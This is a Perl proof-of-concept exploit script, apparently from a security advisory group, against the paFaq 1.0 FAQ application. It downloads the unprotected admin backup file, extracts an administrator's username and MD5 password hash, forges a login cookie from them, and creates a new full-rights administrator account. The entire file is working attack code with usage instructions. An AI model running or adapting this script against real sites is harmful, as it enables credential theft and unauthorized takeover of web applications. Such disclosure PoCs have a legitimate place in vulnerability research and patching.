#!/usr/bin/perl -w
##########################################################################
# paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org
##########################################################################

use LWP::UserAgent;

# Set up the LWP User Agent
$ua = new LWP::UserAgent;
$ua->agent("paFaq Hash Grabber v1.0");

if ( !$ARGV[0] ) { print "Usage : pafaq.pl http://path/to/pafaq"; exit; }

my $key_time = time();

my $dbm_path = $ARGV[0] . '/admin/backup.php';
my $add_user = 'pafaq'; # change this?
my $add_pass = 'pafaq'; # change this?
my $add_email = 'pafaq@dev.null'; # change this?
my $add_path = $ARGV[0] . '/admin/index.php?area=users&act=doadd&name=' . $add_user . '&password=' . $add_pass . '&email=' . $add_email . '&notify=1&can_edit_settings=1&can_edit_admins=1&can_add_admins=1&can_del_admins=1&is_a_admin=1';

print "[*] Trying Host " . $ARGV[0] . "\n";

my $dbm = $ua->get($dbm_path);

if ( $dbm->content =~ /'([0-9]{1,8})',\s'(.*)',\s'([a-f0-9]{32})'/i)
{
	print "[+] User ID Is " . $1 . "\n";
	print "[+] User Name Is " . $2 . "\n";
	print "[+] User Password Is " . $3 . "\n";
	print "[*] Trying to add new user ...\n";
	
	my @cookie = ('Cookie' => 'pafaq_user=' . $2 . '; pafaq_pass=' . $3);
	my $add = $ua->get($add_path, @cookie);
	
	if ( $add->content =~ /has been created successfully/ )
	{
		print "[+] User $add_user Added Successfully!\n";
		print "[+] User Password Is $add_pass\n";		
	}
	else
	{
		print "[!] Unable To Add User! Maybe the username is already taken? ...\n";
		print "[!] Shutting Down ...\n";
		exit;	
	}
}
else
{
	print "[!] The Host Is Not Vulnerable ...\n";
	print "[!] Shutting Down ...\n";
	exit;
}
exit;